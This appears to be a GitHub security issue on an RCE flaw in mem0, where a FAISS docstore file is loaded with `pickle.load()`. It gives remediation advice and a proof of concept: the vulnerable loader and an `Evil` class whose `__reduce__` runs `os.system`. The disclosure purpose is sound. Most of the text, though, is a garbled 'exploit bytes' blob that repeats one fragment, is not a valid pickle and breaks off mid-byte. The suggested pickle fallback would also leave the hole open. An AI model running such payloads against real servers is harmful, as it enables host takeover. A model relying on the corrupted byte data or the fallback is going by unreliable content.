# [Security] Code Execution via Unsafe Deserialization #3778 ## Vulnerability Overview In the `mem0` project, due to the use of the insecure `pickle.load()` function for deserialization, there is a remote code execution (RCE) vulnerability. An attacker can control the FAISS index file and inject malicious pickle objects, thereby executing arbitrary system commands on the server host. ## Impact Scope - **Severity**: High (Critical). - **Consequences**: An attacker can fully take over the server host and gain complete access to the server. - **Exploitation Method**: By injecting malicious vectors to distort search results, or directly executing commands after controlling the FAISS index file. ## Remediation It is recommended to replace `pickle` serialization with `JSON` serialization, because `JSON` is safer when handling simple Python dictionaries (string keys, basic values). **Specific Modification Recommendations:** 1. Replace `pickle.dump()` with `json.dump()`. 2. Replace `pickle.load()` with `json.load()`. 3. Add a backward-compatible fallback mechanism: if loading JSON fails, attempt to use `pickle.load()` and log a deprecation warning so existing users are not immediately disrupted. ## POC Code **Vulnerable Code Snippet (`faiss.py`):** ```python import pickle # ... def _load(self, index_path: str, docstore_path: str): # ... try: self.index = faiss.read_index(index_path) with open(docstore_path, "rb") as f: self.docstore, self.index_to_id = pickle.load(f) # ... ``` **Exploit Code (Payload):** ```python class Evil: def __reduce__(self): return (os.system, ("touch pwned",)) ``` **Exploit Data (Bytes Representation):** ```text b'\x80\x04\x95\x94\x00\x00\x00\x00\x00\x00\x00\x8c\x08os.system\x94\x8c\x05touch pwned\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x